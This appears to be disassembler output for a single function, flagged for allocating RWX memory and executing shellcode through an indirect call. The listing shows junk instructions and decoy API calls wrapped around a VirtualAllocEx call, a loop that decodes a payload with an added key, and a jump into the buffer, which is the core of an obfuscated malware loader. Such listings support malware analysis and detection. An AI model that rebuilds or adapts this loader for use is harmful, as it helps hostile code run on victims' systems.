Function at 0x100012b9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, dword [0x10052a2c]
mov cx, 8
mov eax, dword [0x100529bc]
cmp dword [0x10052c84], eax
jle 0x100012ec
mov eax, dword [0x10052af8]
mov esi, dword [0x10052afc]
sub ecx, ecx
mov eax, dword [0x10052d04]
mov dword [0x100529f4], edi
mov dword [0x10052ba0], eax
mov dword [0x10052970], eax
mov eax, dword [0x10052c40]
sub edx, edx
mov eax, 0x80
cmp eax, 0
ja 0x10001321
mov eax, dword [0x10052c74]
mov eax, 8
mov eax, 0x3c
mov dword [0x10052a1c], eax
mov dword [0x10052b5c], eax
mov dword [0x10052d34], ecx
call fcn.10002f7e
mov edi, dword [0x10052b44]
add edi, edx
mov ax, 0x37
test eax, eax
jbe 0x10001349
xor dword [0x10052a90], eax
mov ecx, dword [0x10052a7c]
add eax, edx
mov dword [0x10052b9c], eax
mov eax, dword [0x10052a54]
mov eax, dword [0x10052bf8]
mov eax, dword [sym.imp.USER32.dll_GetMenu]
inc eax
mov esi, dword [eax]
cmp esi, dword [0x1005293c]
jne 0x10001358
dec eax
mov edi, dword [eax]
mov dword [0x10052c5c], edi
mov eax, dword [0x10052abc]
mov dx, 9
cmp dword [0x10052cb8], 0xe2
jno 0x100013b2
mov eax, dword [0x10052c34]
mov eax, dword [0x10052984]
mov eax, dword [0x10052af4]
mov edx, 0x88
mov eax, dword [0x10052a6c]
sub eax, eax
mov dword [0x10052a08], eax
mov dword [0x10052b08], eax
mov dword [0x10052c2c], esi
mov esi, dword [0x10052c38]
mov dword [0x10052d2c], eax
mov edi, dword [0x100529c8]
call sub.USER32.dll_GetDesktopWindow
mov ecx, dword [0x10052cc4]
mov eax, 0xa
test edi, edi
jne 0x100013fd
mov dword [0x10052c00], edi
mov edx, dword [0x10052ca8]
add edi, esi
adc edi, dword [0x10052b80]
sub eax, eax
mov dword [0x100529b8], eax
mov dword [0x10052b20], edx
mov dword [0x10052970], esi
mov eax, dword [0x10052a80]
mov eax, dword [0x10052ba0]
mov dword [0x10052978], edi
call sub.USER32.dll_GetDesktopWindow
mov eax, dword [0x100529d0]
add eax, eax
add edx, edx
cmp esi, dword [0x100529c8]
ja 0x10001447
mov dword [0x10052c4c], edx
mov esi, dword [0x10052cb0]
mov ax, 0xfd
mov eax, dword [0x10052a20]
sub eax, ecx
mov dword [0x10052ca0], ecx
mov dword [0x10052970], esi
mov dword [0x10052ba8], ecx
mov eax, dword [0x10052ad0]
xor dword [0x10052ccc], eax
call sub.USER32.dll_GetDesktopWindow
mov eax, dword [0x10052a78]
add ecx, edi
sub eax, ecx
cmp edi, 0
jne 0x10001485
mov ecx, dword [0x10052c34]
mov esi, dword [0x10052b38]
mov eax, dword [0x10052a40]
sub eax, eax
add eax, eax
mov dword [0x10052988], ecx
mov dword [0x10052ce8], eax
sbb eax, dword [0x10052b60]
push 0x40
push 0x1000
push 0x1e000
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x10052a50], eax
adc eax, dword [0x10052bc4]
sub edx, edx
mov esi, dword [0x10052c28]
add eax, esi
cmp dword [0x10052c60], 0xeb
ja 0x100014eb
mov esi, dword [0x10052c58]
mov dword [0x10052b54], eax
mov eax, dword [0x10052c58]
mov si, 0x80
mov ecx, dword [0x10052cf8]
mov ecx, 0x10
mov dword [0x10052cf8], eax
mov dword [0x10052ba0], eax
mov edx, dword [0x1005297c]
mov eax, dword [0x10052ab0]
push eax
call sub.gdi32.dll_GetTextColor
mov eax, dword [0x10052c7c]
mov eax, 0x80
mov eax, dword [0x10052a30]
mov ax, 0x10
cmp eax, 0
jbe 0x1000153d
mov edx, dword [0x100529c0]
mov eax, dword [0x10052c94]
mov dx, 8
mov eax, 0x20
mov dword [0x10052970], eax
mov dword [0x10052d00], edx
mov eax, dword [0x10052970]
mov eax, dword [0x10052be4]
mov esi, dword [0x10052aa8]
mov dword [0x10052ce8], edx
push 0xf
call sub.gdi32.dll_GetBkMode
mov eax, dword [0x10052c14]
mov si, 0x80
mov edi, dword [0x10052d44]
cmp edx, eax
jbe 0x10001582
mov dword [0x10052a64], eax
mov edx, dword [0x10052a90]
and eax, eax
mov edi, dword [0x10052d00]
mov dword [0x100529b4], edx
mov esi, dword [0x10052ab4]
mov dword [0x10052c90], esi
mov eax, dword [0x10052be0]
push eax
call sub.gdi32.dll_GetBkMode
mov ecx, dword [0x10052bd8]
mov ax, 0x38
mov edx, dword [0x10052c40]
mov edx, 0xcc
cmp dword [0x10052970], eax
jl 0x100015cd
xor dword [0x10052bd8], edi
mov eax, dword [0x10052d50]
xor eax, edi
mov dword [0x10052be4], eax
mov dword [0x100529f8], edx
mov dword [0x10052ab4], eax
mov esi, dword [0x10052a50]
mov ecx, 0x2c9
mov eax, dword [0x10052c5c]
add eax, 0x10f4a7c7
mov edi, dword [eax]
add edi, 0x4fed4bfa
mov dword [esi], edi
sub eax, 0xfffffffc
sub esi, 0xfffffffc
add ecx, 0xffffffff
cmp ecx, 0
jne 0x100015e3
mov edx, dword [0x10052a1c]
sub eax, edi
mov edi, dword [0x10052a04]
mov eax, 4
cmp edi, 1
jg 0x1000162b
mov eax, dword [0x10052c78]
mov eax, dword [0x10052b5c]
add eax, esi
mov dword [0x10052b74], ecx
mov dword [0x10052d30], edi
mov eax, dword [0x10052b04]
push ecx
call sub.gdi32.dll_GetBkMode
mov edi, dword [0x10052d44]
sub edx, esi
mov eax, dword [0x10052b28]
cmp edx, dword [0x10052d2c]
ja 0x10001664
mov eax, dword [0x10052b3c]
mov dx, 0x10
mov eax, 4
mov dword [0x10052c18], eax
mov dword [0x10052a34], ecx
mov dword [0x10052d50], eax
mov dword [0x10052a08], esi
push dword [0x10052c10]
call sub.gdi32.dll_GetBkMode
mov ecx, dword [0x10052d50]
mov di, 1
sub edx, edi
cmp esi, 0
jne 0x100016b6
mov ecx, dword [0x10052b5c]
mov esi, dword [0x10052cb0]
mov esi, dword [0x10052c08]
or eax, eax
sub eax, ecx
mov dword [0x10052d10], eax
mov dword [0x100529b0], eax
mov edx, dword [0x10052bfc]
mov eax, dword [0x10052a5c]
call sub.USER32.dll_GetCapture
mov edx, dword [0x10052d50]
mov ax, 0x63
mov esi, dword [0x10052a10]
cmp esi, 0
jae 0x100016f1
mov eax, dword [0x10052970]
mov dword [0x100529c4], eax
mov esi, dword [0x10052ae0]
mov cx, 0x5a
sub eax, eax
mov dword [0x10052bd0], esi
mov dword [0x10052b54], eax
mov dword [0x10052bb8], ecx
mov eax, dword [0x10052a50]
call eax
ret